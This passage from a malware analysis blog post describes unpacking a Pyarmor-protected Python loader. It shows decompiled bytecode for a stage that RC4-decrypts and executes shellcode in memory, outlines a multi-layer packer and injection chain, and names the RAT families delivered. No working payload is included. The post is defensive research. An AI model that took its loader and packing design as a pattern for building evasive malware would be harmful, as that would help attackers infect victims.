Looks similar enough to what we’ve seen before, right? It’s AES-GCM again with the same key.

Based on how the parameters are used in the GCM functions and what we deduced earlier, we can tell that the bytes string we saw in the bytecode starts at args + 32. The GCM IV location is obtained through a series of offsets computations. In our case, it was always located right after the ciphertext. Unlike earlier, the IV bytes are not split up. However, there seems to be some capability to run the IV through an additional function for unknown purposes (possibly to mutate it?).

Essentially, what we’re dealing with here is just-in-time decryption. The code is decrypted, executed, and then re-encrypted. This means that functions that are not currently being executed are not available in plaintext even if you dump the process memory.

We decided to write a script that parses the code objects, extracts the bytes string to find the ciphertext and IV, and generates a file that basically describes where and how to apply GCM in the raw decrypted script. This description can then be used by a normal Python installation in order to do the decryption (it seemed prudent to use our modified Python as little as possible - in particular, we didn’t feel like attempting to run Pycryptodome on it).

Finally decrypted

Here’s the decrypted continuation of the bytecode we had earlier:

  1          26 NOP

  2          28 LOAD_CONST               3 (0)
             30 LOAD_CONST               4 (None)
             32 IMPORT_NAME              1 (ctypes)
             34 STORE_NAME               1 (ctypes)

  3          36 LOAD_CONST               3 (0)
             38 LOAD_CONST               4 (None)
             40 IMPORT_NAME              2 (base64)
             42 STORE_NAME               2 (base64)

  5          44 LOAD_CONST               5 (<code object rc4_decrypt at 0x5e6298eb3bd0, file "<frozen JAN-X1>", line 5>)
             46 MAKE_FUNCTION            0
             48 STORE_NAME               3 (rc4_decrypt)

 27          50 LOAD_CONST               6 (<code object execute_shellcode at 0x5e6298ec0560, file "<frozen JAN-X1>", line 27>)
             52 MAKE_FUNCTION            0
             54 STORE_NAME               4 (execute_shellcode)

 45          56 PUSH_NULL
             58 LOAD_NAME                4 (execute_shellcode)
             60 CALL                     0
             68 POP_TOP
             70 LOAD_CONST               4 (None)
             72 NOP
             74 NOP
             76 NOP
             78 JUMP_FORWARD            19 (to 118)
             ... followed by pyarmor leave code ...

The function references that can be seen here do exactly what they say. The execute_shellcode function contains a huge base64-encoded string, which is decrypted using RC4, allocated as executable memory using Windows APIs, and then jumped into.

So in the end, we don’t have “real” Python malware here, just a somewhat unusual malware packer.

The actual malware

The question remains - what malware did they try to infect us with?

One thing is for certain: the amount of layers the malware is packed in is slightly ridiculous. Whenever we unpacked one stage, we’d be faced with another packer and the payload got smaller and smaller, to a point where we wondered if anything would actually be left. In the end, the chain turned out to be this:

Pyarmor
Shellcode (packer)
Injector generated by laZzzy, injects into notepad.exe
Shellcode (same packer as before)
.NET malware (sometimes also packed with additional .NET packer).

If you count the initial dropper stages, the list is even longer.

A comprehensive malware analysis would be out of scope here, and frankly, not that interesting, so we’re just going to leave you with some screenshots for code impressions.

Figure 6: This specimen is a variant of the XWorm RAT

Figure 7: PureHVNC RAT, stealing crypto wallets and browser data. It also collects basic info about your system, including whether a camera is plugged in

Filename	Malware family
`EAdate.py`	DcRat
`FAScis.py`	AsyncRAT
`GXrop.py`	XWorm RAT
`HPUope.py`	PureHVNC

Figure 8: Types of malware used in the campaign

The other set of files (BArown.py, etc.) contains the same malware - the Python files have different hashes, but the final unpacked binaries are identical.

In one of the next installments on this blog, we’re going to talk about .NET obfuscation, so stay tuned!

GitHub repo with scripts developed for Pyarmor: https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling

Updated on April 4: We’ve identified the previously denoted as unknown sample HPUope.py to be PureHVNC.